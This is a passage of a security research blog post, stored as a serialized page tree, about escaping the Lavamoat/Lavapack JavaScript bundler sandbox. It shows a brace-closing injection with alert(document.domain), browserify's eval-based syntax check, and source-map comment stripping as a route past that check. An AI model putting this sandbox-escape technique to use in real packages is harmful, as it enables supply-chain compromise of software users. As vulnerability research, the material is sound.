{\n",{"type":24,"tag":147,"props":53606,"children":53607},{"class":149,"line":196},[53608],{"type":24,"tag":147,"props":53609,"children":53610},{"style":3534},[53611],{"type":29,"value":53612},"        with (this.globalThis) {\n",{"type":24,"tag":147,"props":53614,"children":53615},{"class":149,"line":205},[53616],{"type":24,"tag":147,"props":53617,"children":53618},{"style":3534},[53619],{"type":29,"value":53620},"          return function() {\n",{"type":24,"tag":147,"props":53622,"children":53623},{"class":149,"line":214},[53624],{"type":24,"tag":147,"props":53625,"children":53626},{"style":3534},[53627],{"type":29,"value":53628},"            'use strict';\n",{"type":24,"tag":147,"props":53630,"children":53631},{"class":149,"line":272},[53632,53637,53641,53646],{"type":24,"tag":147,"props":53633,"children":53634},{"style":3534},[53635],{"type":29,"value":53636},"            // source: ",{"type":24,"tag":147,"props":53638,"children":53639},{"style":218},[53640],{"type":29,"value":39709},{"type":24,"tag":147,"props":53642,"children":53643},{"style":247},[53644],{"type":29,"value":53645},"filename",{"type":24,"tag":147,"props":53647,"children":53648},{"style":218},[53649],{"type":29,"value":827},{"type":24,"tag":147,"props":53651,"children":53652},{"class":149,"line":281},[53653],{"type":24,"tag":147,"props":53654,"children":53655},{"style":3534},[53656],{"type":29,"value":53657},"            return function (require, module, exports) {\n",{"type":24,"tag":147,"props":53659,"children":53660},{"class":149,"line":299},[53661],{"type":24,"tag":147,"props":53662,"children":53663},{"style":3534},[53664],{"type":29,"value":53665},"              __MODULE_CONTENT__\n",{"type":24,"tag":147,"props":53667,"children":53668},{"class":149,"line":308},[53669],{"type":24,"tag":147,"props":53670,"children":53671},{"style":3534},[53672],{"type":29,"value":53673},"            };\n",{"type":24,"tag":147,"props":53675,"children":53676},{"class":149,"line":317},[53677],{"type":24,"tag":147,"props":53678,"children":53679},{"style":3534},[53680],{"type":29,"value":14327},{"type":24,"tag":147,"props":53682,"children":53683},{"class":149,"line":332},[53684],{"type":24,"tag":147,"props":53685,"children":53686},{"style":3534},[53687],{"type":29,"value":441},{"type":24,"tag":147,"props":53689,"children":53690},{"class":149,"line":350},[53691],{"type":24,"tag":147,"props":53692,"children":53693},{"style":3534},[53694],{"type":29,"value":18282},{"type":24,"tag":147,"props":53696,"children":53697},{"class":149,"line":358},[53698],{"type":24,"tag":147,"props":53699,"children":53700},{"style":3534},[53701],{"type":29,"value":53702},"    }`\n",{"type":24,"tag":25,"props":53704,"children":53705},{},[53706,53708,53714,53716,53722],{"type":29,"value":53707},"Lavapack uses ",{"type":24,"tag":80,"props":53709,"children":53711},{"className":53710},[],[53712],{"type":29,"value":53713},"with()",{"type":29,"value":53715}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":80,"props":53717,"children":53719},{"className":53718},[],[53720],{"type":29,"value":53721},"__MODULE_CONTENT__",{"type":29,"value":53723}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":43,"props":53725,"children":53727},{"id":53726},"injection-not-so-simple",[53728],{"type":29,"value":53729},"Injection? Not So Simple",{"type":24,"tag":25,"props":53731,"children":53732},{},[53733,53735,53740],{"type":29,"value":53734},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":80,"props":53736,"children":53738},{"className":53737},[],[53739],{"type":29,"value":18269},{"type":29,"value":53741}," environment:",{"type":24,"tag":137,"props":53743,"children":53745},{"className":36964,"code":53744,"language":36966,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[53746],{"type":24,"tag":80,"props":53747,"children":53748},{"__ignoreMap":7},[53749,53762,53774,53786,53798,53805],{"type":24,"tag":147,"props":53750,"children":53751},{"class":149,"line":150},[53752,53757],{"type":24,"tag":147,"props":53753,"children":53754},{"style":235},[53755],{"type":29,"value":53756},"   } ",{"type":24,"tag":147,"props":53758,"children":53759},{"style":154},[53760],{"type":29,"value":53761},"// end function 1\n",{"type":24,"tag":147,"props":53763,"children":53764},{"class":149,"line":160},[53765,53769],{"type":24,"tag":147,"props":53766,"children":53767},{"style":235},[53768],{"type":29,"value":37068},{"type":24,"tag":147,"props":53770,"children":53771},{"style":154},[53772],{"type":29,"value":53773},"// end function 2\n",{"type":24,"tag":147,"props":53775,"children":53776},{"class":149,"line":169},[53777,53781],{"type":24,"tag":147,"props":53778,"children":53779},{"style":235},[53780],{"type":29,"value":41803},{"type":24,"tag":147,"props":53782,"children":53783},{"style":154},[53784],{"type":29,"value":53785},"// end with 1\n",{"type":24,"tag":147,"props":53787,"children":53788},{"class":149,"line":178},[53789,53793],{"type":24,"tag":147,"props":53790,"children":53791},{"style":235},[53792],{"type":29,"value":52473},{"type":24,"tag":147,"props":53794,"children":53795},{"style":154},[53796],{"type":29,"value":53797},"// end with 2\n",{"type":24,"tag":147,"props":53799,"children":53800},{"class":149,"line":187},[53801],{"type":24,"tag":147,"props":53802,"children":53803},{"emptyLinePlaceholder":16},[53804],{"type":29,"value":314},{"type":24,"tag":147,"props":53806,"children":53807},{"class":149,"line":196},[53808,53812,53816,53820,53824,53828],{"type":24,"tag":147,"props":53809,"children":53810},{"style":229},[53811],{"type":29,"value":38298},{"type":24,"tag":147,"props":53813,"children":53814},{"style":235},[53815],{"type":29,"value":480},{"type":24,"tag":147,"props":53817,"children":53818},{"style":247},[53819],{"type":29,"value":38308},{"type":24,"tag":147,"props":53821,"children":53822},{"style":235},[53823],{"type":29,"value":87},{"type":24,"tag":147,"props":53825,"children":53826},{"style":247},[53827],{"type":29,"value":38318},{"type":24,"tag":147,"props":53829,"children":53830},{"style":235},[53831],{"type":29,"value":269},{"type":24,"tag":25,"props":53833,"children":53834},{},[53835,53837,53843,53845,53852],{"type":29,"value":53836},"However, when we tried to bundle it, a ",{"type":24,"tag":80,"props":53838,"children":53840},{"className":53839},[],[53841],{"type":29,"value":53842},"ParseError",{"type":29,"value":53844}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":2773,"props":53846,"children":53849},{"href":53847,"rel":53848},"https://github.com/browserify/browserify",[2777],[53850],{"type":29,"value":53851},"browserify",{"type":29,"value":53853},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":53855,"children":53856},{},[53857,53859,53865,53867,53873,53875,53881,53883,53888],{"type":29,"value":53858},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":80,"props":53860,"children":53862},{"className":53861},[],[53863],{"type":29,"value":53864},"syntax",{"type":29,"value":53866}," stage on it's pipeline, and uses the ",{"type":24,"tag":80,"props":53868,"children":53870},{"className":53869},[],[53871],{"type":29,"value":53872},"syntax-error",{"type":29,"value":53874}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":80,"props":53876,"children":53878},{"className":53877},[],[53879],{"type":29,"value":53880},"pack",{"type":29,"value":53882}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":80,"props":53884,"children":53886},{"className":53885},[],[53887],{"type":29,"value":53864},{"type":29,"value":53889},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":53891,"children":53892},{},[53893],{"type":24,"tag":63,"props":53894,"children":53897},{"alt":53895,"src":53896},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":53899,"children":53900},{},[53901,53902,53907,53909,53914],{"type":29,"value":5094},{"type":24,"tag":80,"props":53903,"children":53905},{"className":53904},[],[53906],{"type":29,"value":53872},{"type":29,"value":53908}," package performs a syntax check by using  ",{"type":24,"tag":80,"props":53910,"children":53912},{"className":53911},[],[53913],{"type":29,"value":43146},{"type":29,"value":53915}," with function hoisting:",{"type":24,"tag":137,"props":53917,"children":53919},{"className":36964,"code":53918,"language":36966,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[53920],{"type":24,"tag":80,"props":53921,"children":53922},{"__ignoreMap":7},[53923,53935,53985,53996,54003,54024,54065,54124,54165],{"type":24,"tag":147,"props":53924,"children":53925},{"class":149,"line":150},[53926,53931],{"type":24,"tag":147,"props":53927,"children":53928},{"style":321},[53929],{"type":29,"value":53930},"try",{"type":24,"tag":147,"props":53932,"children":53933},{"style":235},[53934],{"type":29,"value":6630},{"type":24,"tag":147,"props":53936,"children":53937},{"class":149,"line":160},[53938,53943,53947,53952,53956,53961,53965,53970,53976,53981],{"type":24,"tag":147,"props":53939,"children":53940},{"style":229},[53941],{"type":29,"value":53942},"    eval",{"type":24,"tag":147,"props":53944,"children":53945},{"style":235},[53946],{"type":29,"value":480},{"type":24,"tag":147,"props":53948,"children":53949},{"style":3534},[53950],{"type":29,"value":53951},"'throw \"STOP\"; (function () { '",{"type":24,"tag":147,"props":53953,"children":53954},{"style":241},[53955],{"type":29,"value":1734},{"type":24,"tag":147,"props":53957,"children":53958},{"style":247},[53959],{"type":29,"value":53960}," src",{"type":24,"tag":147,"props":53962,"children":53963},{"style":241},[53964],{"type":29,"value":1734},{"type":24,"tag":147,"props":53966,"children":53967},{"style":3534},[53968],{"type":29,"value":53969}," '",{"type":24,"tag":147,"props":53971,"children":53973},{"style":53972},"--shiki-default:#D7BA7D",[53974],{"type":29,"value":53975},"\\n",{"type":24,"tag":147,"props":53977,"children":53978},{"style":3534},[53979],{"type":29,"value":53980},"})()'",{"type":24,"tag":147,"props":53982,"children":53983},{"style":235},[53984],{"type":29,"value":1473},{"type":24,"tag":147,"props":53986,"children":53987},{"class":149,"line":169},[53988,53992],{"type":24,"tag":147,"props":53989,"children":53990},{"style":321},[53991],{"type":29,"value":2597},{"type":24,"tag":147,"props":53993,"children":53994},{"style":235},[53995],{"type":29,"value":432},{"type":24,"tag":147,"props":53997,"children":53998},{"class":149,"line":178},[53999],{"type":24,"tag":147,"props":54000,"children":54001},{"style":235},[54002],{"type":29,"value":827},{"type":24,"tag":147,"props":54004,"children":54005},{"class":149,"line":187},[54006,54011,54015,54020],{"type":24,"tag":147,"props":54007,"children":54008},{"style":321},[54009],{"type":29,"value":54010},"catch",{"type":24,"tag":147,"props":54012,"children":54013},{"style":235},[54014],{"type":29,"value":408},{"type":24,"tag":147,"props":54016,"children":54017},{"style":247},[54018],{"type":29,"value":54019},"err",{"type":24,"tag":147,"props":54021,"children":54022},{"style":235},[54023],{"type":29,"value":505},{"type":24,"tag":147,"props":54025,"children":54026},{"class":149,"line":196},[54027,54031,54035,54039,54043,54048,54052,54057,54061],{"type":24,"tag":147,"props":54028,"children":54029},{"style":321},[54030],{"type":29,"value":4759},{"type":24,"tag":147,"props":54032,"children":54033},{"style":235},[54034],{"type":29,"value":408},{"type":24,"tag":147,"props":54036,"children":54037},{"style":247},[54038],{"type":29,"value":54019},{"type":24,"tag":147,"props":54040,"children":54041},{"style":241},[54042],{"type":29,"value":37022},{"type":24,"tag":147,"props":54044,"children":54045},{"style":3534},[54046],{"type":29,"value":54047}," 'STOP'",{"type":24,"tag":147,"props":54049,"children":54050},{"style":235},[54051],{"type":29,"value":564},{"type":24,"tag":147,"props":54053,"children":54054},{"style":321},[54055],{"type":29,"value":54056},"return",{"type":24,"tag":147,"props":54058,"children":54059},{"style":218},[54060],{"type":29,"value":44934},{"type":24,"tag":147,"props":54062,"children":54063},{"style":235},[54064],{"type":29,"value":432},{"type":24,"tag":147,"props":54066,"children":54067},{"class":149,"line":205},[54068,54072,54076,54080,54084,54089,54093,54097,54102,54107,54111,54115,54120],{"type":24,"tag":147,"props":54069,"children":54070},{"style":321},[54071],{"type":29,"value":4759},{"type":24,"tag":147,"props":54073,"children":54074},{"style":235},[54075],{"type":29,"value":408},{"type":24,"tag":147,"props":54077,"children":54078},{"style":247},[54079],{"type":29,"value":54019},{"type":24,"tag":147,"props":54081,"children":54082},{"style":235},[54083],{"type":29,"value":87},{"type":24,"tag":147,"props":54085,"children":54086},{"style":247},[54087],{"type":29,"value":54088},"constructor",{"type":24,"tag":147,"props":54090,"children":54091},{"style":235},[54092],{"type":29,"value":87},{"type":24,"tag":147,"props":54094,"children":54095},{"style":247},[54096],{"type":29,"value":4944},{"type":24,"tag":147,"props":54098,"children":54099},{"style":241},[54100],{"type":29,"value":54101}," !==",{"type":24,"tag":147,"props":54103,"children":54104},{"style":3534},[54105],{"type":29,"value":54106}," 'SyntaxError'",{"type":24,"tag":147,"props":54108,"children":54109},{"style":235},[54110],{"type":29,"value":564},{"type":24,"tag":147,"props":54112,"children":54113},{"style":321},[54114],{"type":29,"value":54056},{"type":24,"tag":147,"props":54116,"children":54117},{"style":247},[54118],{"type":29,"value":54119}," err",{"type":24,"tag":147,"props":54121,"children":54122},{"style":235},[54123],{"type":29,"value":432},{"type":24,"tag":147,"props":54125,"children":54126},{"class":149,"line":214},[54127,54131,54136,54140,54144,54148,54152,54156,54161],{"type":24,"tag":147,"props":54128,"children":54129},{"style":321},[54130],{"type":29,"value":2597},{"type":24,"tag":147,"props":54132,"children":54133},{"style":229},[54134],{"type":29,"value":54135}," errorInfo",{"type":24,"tag":147,"props":54137,"children":54138},{"style":235},[54139],{"type":29,"value":480},{"type":24,"tag":147,"props":54141,"children":54142},{"style":247},[54143],{"type":29,"value":38270},{"type":24,"tag":147,"props":54145,"children":54146},{"style":235},[54147],{"type":29,"value":546},{"type":24,"tag":147,"props":54149,"children":54150},{"style":247},[54151],{"type":29,"value":53543},{"type":24,"tag":147,"props":54153,"children":54154},{"style":235},[54155],{"type":29,"value":546},{"type":24,"tag":147,"props":54157,"children":54158},{"style":247},[54159],{"type":29,"value":54160},"opts",{"type":24,"tag":147,"props":54162,"children":54163},{"style":235},[54164],{"type":29,"value":1473},{"type":24,"tag":147,"props":54166,"children":54167},{"class":149,"line":272},[54168],{"type":24,"tag":147,"props":54169,"children":54170},{"style":235},[54171],{"type":29,"value":827},{"type":24,"tag":25,"props":54173,"children":54174},{},[54175,54177,54181,54183,54189,54191,54196],{"type":29,"value":54176},"Interestingly, it ",{"type":24,"tag":8545,"props":54178,"children":54179},{},[54180],{"type":29,"value":9598},{"type":29,"value":54182}," possible to inject a ",{"type":24,"tag":80,"props":54184,"children":54186},{"className":54185},[],[54187],{"type":29,"value":54188},"}); (() => {",{"type":29,"value":54190}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":80,"props":54192,"children":54194},{"className":54193},[],[54195],{"type":29,"value":53713},{"type":29,"value":54197}," sandbox of Lavapack.",{"type":24,"tag":43,"props":54199,"children":54201},{"id":54200},"sourcemap-the-syntax-killer",[54202],{"type":29,"value":54203},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":54205,"children":54206},{},[54207,54209,54216],{"type":29,"value":54208},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":2773,"props":54210,"children":54213},{"href":54211,"rel":54212},"https://www.npmjs.com/package/convert-source-map",[2777],[54214],{"type":29,"value":54215},"convert-source-map",{"type":29,"value":54217}," npm package:",{"type":24,"tag":137,"props":54219,"children":54221},{"className":36964,"code":54220,"language":36966,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[54222],{"type":24,"tag":80,"props":54223,"children":54224},{"__ignoreMap":7},[54225,54249,54291,54299,54340,54381,54409],{"type":24,"tag":147,"props":54226,"children":54227},{"class":149,"line":150},[54228,54232,54237,54241,54245],{"type":24,"tag":147,"props":54229,"children":54230},{"style":218},[54231],{"type":29,"value":36978},{"type":24,"tag":147,"props":54233,"children":54234},{"style":229},[54235],{"type":29,"value":54236}," extractSourceMaps",{"type":24,"tag":147,"props":54238,"children":54239},{"style":235},[54240],{"type":29,"value":480},{"type":24,"tag":147,"props":54242,"children":54243},{"style":247},[54244],{"type":29,"value":43611},{"type":24,"tag":147,"props":54246,"children":54247},{"style":235},[54248],{"type":29,"value":505},{"type":24,"tag":147,"props":54250,"children":54251},{"class":149,"line":160},[54252,54256,54261,54265,54270,54274,54279,54283,54287],{"type":24,"tag":147,"props":54253,"children":54254},{"style":218},[54255],{"type":29,"value":41789},{"type":24,"tag":147,"props":54257,"children":54258},{"style":247},[54259],{"type":29,"value":54260}," converter",{"type":24,"tag":147,"props":54262,"children":54263},{"style":241},[54264],{"type":29,"value":651},{"type":24,"tag":147,"props":54266,"children":54267},{"style":247},[54268],{"type":29,"value":54269}," convertSourceMap",{"type":24,"tag":147,"props":54271,"children":54272},{"style":235},[54273],{"type":29,"value":87},{"type":24,"tag":147,"props":54275,"children":54276},{"style":229},[54277],{"type":29,"value":54278},"fromSource",{"type":24,"tag":147,"props":54280,"children":54281},{"style":235},[54282],{"type":29,"value":480},{"type":24,"tag":147,"props":54284,"children":54285},{"style":247},[54286],{"type":29,"value":43611},{"type":24,"tag":147,"props":54288,"children":54289},{"style":235},[54290],{"type":29,"value":269},{"type":24,"tag":147,"props":54292,"children":54293},{"class":149,"line":169},[54294],{"type":24,"tag":147,"props":54295,"children":54296},{"style":154},[54297],{"type":29,"value":54298},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":147,"props":54300,"children":54301},{"class":149,"line":178},[54302,54306,54311,54315,54319,54323,54327,54331,54336],{"type":24,"tag":147,"props":54303,"children":54304},{"style":218},[54305],{"type":29,"value":41789},{"type":24,"tag":147,"props":54307,"children":54308},{"style":247},[54309],{"type":29,"value":54310}," maps",{"type":24,"tag":147,"props":54312,"children":54313},{"style":241},[54314],{"type":29,"value":651},{"type":24,"tag":147,"props":54316,"children":54317},{"style":247},[54318],{"type":29,"value":54260},{"type":24,"tag":147,"props":54320,"children":54321},{"style":241},[54322],{"type":29,"value":4269},{"type":24,"tag":147,"props":54324,"children":54325},{"style":247},[54326],{"type":29,"value":54260},{"type":24,"tag":147,"props":54328,"children":54329},{"style":235},[54330],{"type":29,"value":87},{"type":24,"tag":147,"props":54332,"children":54333},{"style":229},[54334],{"type":29,"value":54335},"toObject",{"type":24,"tag":147,"props":54337,"children":54338},{"style":235},[54339],{"type":29,"value":13361},{"type":24,"tag":147,"props":54341,"children":54342},{"class":149,"line":187},[54343,54347,54352,54356,54360,54364,54369,54373,54377],{"type":24,"tag":147,"props":54344,"children":54345},{"style":218},[54346],{"type":29,"value":41789},{"type":24,"tag":147,"props":54348,"children":54349},{"style":247},[54350],{"type":29,"value":54351}," code",{"type":24,"tag":147,"props":54353,"children":54354},{"style":241},[54355],{"type":29,"value":651},{"type":24,"tag":147,"props":54357,"children":54358},{"style":247},[54359],{"type":29,"value":54269},{"type":24,"tag":147,"props":54361,"children":54362},{"style":235},[54363],{"type":29,"value":87},{"type":24,"tag":147,"props":54365,"children":54366},{"style":229},[54367],{"type":29,"value":54368},"removeComments",{"type":24,"tag":147,"props":54370,"children":54371},{"style":235},[54372],{"type":29,"value":480},{"type":24,"tag":147,"props":54374,"children":54375},{"style":247},[54376],{"type":29,"value":43611},{"type":24,"tag":147,"props":54378,"children":54379},{"style":235},[54380],{"type":29,"value":269},{"type":24,"tag":147,"props":54382,"children":54383},{"class":149,"line":196},[54384,54388,54392,54396,54400,54405],{"type":24,"tag":147,"props":54385,"children":54386},{"style":321},[54387],{"type":29,"value":44795},{"type":24,"tag":147,"props":54389,"children":54390},{"style":235},[54391],{"type":29,"value":15207},{"type":24,"tag":147,"props":54393,"children":54394},{"style":247},[54395],{"type":29,"value":80},{"type":24,"tag":147,"props":54397,"children":54398},{"style":235},[54399],{"type":29,"value":546},{"type":24,"tag":147,"props":54401,"children":54402},{"style":247},[54403],{"type":29,"value":54404},"maps",{"type":24,"tag":147,"props":54406,"children":54407},{"style":235},[54408],{"type":29,"value":15217},{"type":24,"tag":147,"props":54410,"children":54411},{"class":149,"line":205},[54412],{"type":24,"tag":147,"props":54413,"children":54414},{"style":235},[54415],{"type":29,"value":827},{"type":24,"tag":25,"props":54417,"children":54418},{},[54419,54421,54426,54428,54433],{"type":29,"value":54420},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":80,"props":54422,"children":54424},{"className":54423},[],[54425],{"type":29,"value":53864},{"type":29,"value":54427}," stage. Reviewing the ",{"type":24,"tag":80,"props":54429,"children":54431},{"className":54430},[],[54432],{"type":29,"value":54215},{"type":29,"value":54434}," code, we can see exactly how this happens.",{"type":24,"tag":137,"props":54436,"children":54438},{"className":36964,"code":54437,"language":36966,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[54439],{"type":24,"tag":80,"props":54440,"children":54441},{"__ignoreMap":7},[54442,54481,54507,54515,54729,54736,54743,54750,54785,54835],{"type":24,"tag":147,"props":54443,"children":54444},{"class":149,"line":150},[54445,54450,54454,54459,54463,54467,54471,54476],{"type":24,"tag":147,"props":54446,"children":54447},{"style":247},[54448],{"type":29,"value":54449},"Object",{"type":24,"tag":147,"props":54451,"children":54452},{"style":235},[54453],{"type":29,"value":87},{"type":24,"tag":147,"props":54455,"children":54456},{"style":229},[54457],{"type":29,"value":54458},"defineProperty",{"type":24,"tag":147,"props":54460,"children":54461},{"style":235},[54462],{"type":29,"value":480},{"type":24,"tag":147,"props":54464,"children":54465},{"style":9044},[54466],{"type":29,"value":43483},{"type":24,"tag":147,"props":54468,"children":54469},{"style":235},[54470],{"type":29,"value":546},{"type":24,"tag":147,"props":54472,"children":54473},{"style":3534},[54474],{"type":29,"value":54475},"'commentRegex'",{"type":24,"tag":147,"props":54477,"children":54478},{"style":235},[54479],{"type":29,"value":54480},", {\n",{"type":24,"tag":147,"props":54482,"children":54483},{"class":149,"line":160},[54484,54489,54493,54497,54502],{"type":24,"tag":147,"props":54485,"children":54486},{"style":229},[54487],{"type":29,"value":54488},"  get",{"type":24,"tag":147,"props":54490,"children":54491},{"style":247},[54492],{"type":29,"value":978},{"type":24,"tag":147,"props":54494,"children":54495},{"style":218},[54496],{"type":29,"value":43811},{"type":24,"tag":147,"props":54498,"children":54499},{"style":229},[54500],{"type":29,"value":54501}," getCommentRegex",{"type":24,"tag":147,"props":54503,"children":54504},{"style":235},[54505],{"type":29,"value":54506}," () {\n",{"type":24,"tag":147,"props":54508,"children":54509},{"class":149,"line":169},[54510],{"type":24,"tag":147,"props":54511,"children":54512},{"style":154},[54513],{"type":29,"value":54514},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":147,"props":54516,"children":54517},{"class":149,"line":178},[54518,54522,54528,54533,54538,54543,54547,54552,54557,54562,54566,54570,54575,54580,54585,54590,54594,54598,54602,54607,54611,54616,54621,54626,54631,54635,54639,54643,54647,54651,54655,54659,54663,54668,54673,54677,54682,54687,54691,54695,54699,54703,54708,54712,54716,54720,54725],{"type":24,"tag":147,"props":54519,"children":54520},{"style":321},[54521],{"type":29,"value":2597},{"type":24,"tag":147,"props":54523,"children":54525},{"style":54524},"--shiki-default:#D16969",[54526],{"type":29,"value":54527}," /",{"type":24,"tag":147,"props":54529,"children":54530},{"style":229},[54531],{"type":29,"value":54532},"^",{"type":24,"tag":147,"props":54534,"children":54535},{"style":54524},[54536],{"type":29,"value":54537},"\\s",{"type":24,"tag":147,"props":54539,"children":54540},{"style":53972},[54541],{"type":29,"value":54542},"*?\\/",{"type":24,"tag":147,"props":54544,"children":54545},{"style":3534},[54546],{"type":29,"value":9358},{"type":24,"tag":147,"props":54548,"children":54549},{"style":53972},[54550],{"type":29,"value":54551},"\\/\\*",{"type":24,"tag":147,"props":54553,"children":54554},{"style":3534},[54555],{"type":29,"value":54556},"][",{"type":24,"tag":147,"props":54558,"children":54559},{"style":54524},[54560],{"type":29,"value":54561},"@#",{"type":24,"tag":147,"props":54563,"children":54564},{"style":3534},[54565],{"type":29,"value":21023},{"type":24,"tag":147,"props":54567,"children":54568},{"style":54524},[54569],{"type":29,"value":54537},{"type":24,"tag":147,"props":54571,"children":54572},{"style":53972},[54573],{"type":29,"value":54574},"+?",{"type":24,"tag":147,"props":54576,"children":54577},{"style":54524},[54578],{"type":29,"value":54579},"sourceMappingURL=data:",{"type":24,"tag":147,"props":54581,"children":54582},{"style":3534},[54583],{"type":29,"value":54584},"(((?:",{"type":24,"tag":147,"props":54586,"children":54587},{"style":54524},[54588],{"type":29,"value":54589},"application",{"type":24,"tag":147,"props":54591,"children":54592},{"style":229},[54593],{"type":29,"value":16037},{"type":24,"tag":147,"props":54595,"children":54596},{"style":54524},[54597],{"type":29,"value":29},{"type":24,"tag":147,"props":54599,"children":54600},{"style":3534},[54601],{"type":29,"value":8758},{"type":24,"tag":147,"props":54603,"children":54604},{"style":53972},[54605],{"type":29,"value":54606},"\\/",{"type":24,"tag":147,"props":54608,"children":54609},{"style":54524},[54610],{"type":29,"value":39598},{"type":24,"tag":147,"props":54612,"children":54613},{"style":3534},[54614],{"type":29,"value":54615},")(?:",{"type":24,"tag":147,"props":54617,"children":54618},{"style":54524},[54619],{"type":29,"value":54620},";charset=",{"type":24,"tag":147,"props":54622,"children":54623},{"style":3534},[54624],{"type":29,"value":54625},"([^",{"type":24,"tag":147,"props":54627,"children":54628},{"style":54524},[54629],{"type":29,"value":54630},";,",{"type":24,"tag":147,"props":54632,"children":54633},{"style":3534},[54634],{"type":29,"value":21023},{"type":24,"tag":147,"props":54636,"children":54637},{"style":53972},[54638],{"type":29,"value":54574},{"type":24,"tag":147,"props":54640,"children":54641},{"style":3534},[54642],{"type":29,"value":8758},{"type":24,"tag":147,"props":54644,"children":54645},{"style":53972},[54646],{"type":29,"value":8785},{"type":24,"tag":147,"props":54648,"children":54649},{"style":3534},[54650],{"type":29,"value":8758},{"type":24,"tag":147,"props":54652,"children":54653},{"style":53972},[54654],{"type":29,"value":8785},{"type":24,"tag":147,"props":54656,"children":54657},{"style":3534},[54658],{"type":29,"value":8758},{"type":24,"tag":147,"props":54660,"children":54661},{"style":53972},[54662],{"type":29,"value":8785},{"type":24,"tag":147,"props":54664,"children":54665},{"style":3534},[54666],{"type":29,"value":54667},"(?:",{"type":24,"tag":147,"props":54669,"children":54670},{"style":54524},[54671],{"type":29,"value":54672},";",{"type":24,"tag":147,"props":54674,"children":54675},{"style":3534},[54676],{"type":29,"value":480},{"type":24,"tag":147,"props":54678,"children":54679},{"style":54524},[54680],{"type":29,"value":54681},"base64",{"type":24,"tag":147,"props":54683,"children":54684},{"style":3534},[54685],{"type":29,"value":54686},"))",{"type":24,"tag":147,"props":54688,"children":54689},{"style":53972},[54690],{"type":29,"value":8785},{"type":24,"tag":147,"props":54692,"children":54693},{"style":54524},[54694],{"type":29,"value":9749},{"type":24,"tag":147,"props":54696,"children":54697},{"style":3534},[54698],{"type":29,"value":480},{"type":24,"tag":147,"props":54700,"children":54701},{"style":54524},[54702],{"type":29,"value":87},{"type":24,"tag":147,"props":54704,"children":54705},{"style":53972},[54706],{"type":29,"value":54707},"*?",{"type":24,"tag":147,"props":54709,"children":54710},{"style":3534},[54711],{"type":29,"value":8758},{"type":24,"tag":147,"props":54713,"children":54714},{"style":229},[54715],{"type":29,"value":15909},{"type":24,"tag":147,"props":54717,"children":54718},{"style":54524},[54719],{"type":29,"value":10204},{"type":24,"tag":147,"props":54721,"children":54722},{"style":218},[54723],{"type":29,"value":54724},"mg",{"type":24,"tag":147,"props":54726,"children":54727},{"style":235},[54728],{"type":29,"value":432},{"type":24,"tag":147,"props":54730,"children":54731},{"class":149,"line":187},[54732],{"type":24,"tag":147,"props":54733,"children":54734},{"style":235},[54735],{"type":29,"value":11496},{"type":24,"tag":147,"props":54737,"children":54738},{"class":149,"line":196},[54739],{"type":24,"tag":147,"props":54740,"children":54741},{"style":235},[54742],{"type":29,"value":40938},{"type":24,"tag":147,"props":54744,"children":54745},{"class":149,"line":205},[54746],{"type":24,"tag":147,"props":54747,"children":54748},{"emptyLinePlaceholder":16},[54749],{"type":29,"value":314},{"type":24,"tag":147,"props":54751,"children":54752},{"class":149,"line":214},[54753,54757,54761,54765,54769,54773,54777,54781],{"type":24,"tag":147,"props":54754,"children":54755},{"style":9044},[54756],{"type":29,"value":43483},{"type":24,"tag":147,"props":54758,"children":54759},{"style":235},[54760],{"type":29,"value":87},{"type":24,"tag":147,"props":54762,"children":54763},{"style":229},[54764],{"type":29,"value":54368},{"type":24,"tag":147,"props":54766,"children":54767},{"style":241},[54768],{"type":29,"value":651},{"type":24,"tag":147,"props":54770,"children":54771},{"style":218},[54772],{"type":29,"value":43811},{"type":24,"tag":147,"props":54774,"children":54775},{"style":235},[54776],{"type":29,"value":408},{"type":24,"tag":147,"props":54778,"children":54779},{"style":247},[54780],{"type":29,"value":38270},{"type":24,"tag":147,"props":54782,"children":54783},{"style":235},[54784],{"type":29,"value":505},{"type":24,"tag":147,"props":54786,"children":54787},{"class":149,"line":272},[54788,54792,54796,54800,54805,54809,54813,54817,54822,54826,54831],{"type":24,"tag":147,"props":54789,"children":54790},{"style":321},[54791],{"type":29,"value":44795},{"type":24,"tag":147,"props":54793,"children":54794},{"style":247},[54795],{"type":29,"value":53960},{"type":24,"tag":147,"props":54797,"children":54798},{"style":235},[54799],{"type":29,"value":87},{"type":24,"tag":147,"props":54801,"children":54802},{"style":229},[54803],{"type":29,"value":54804},"replace",{"type":24,"tag":147,"props":54806,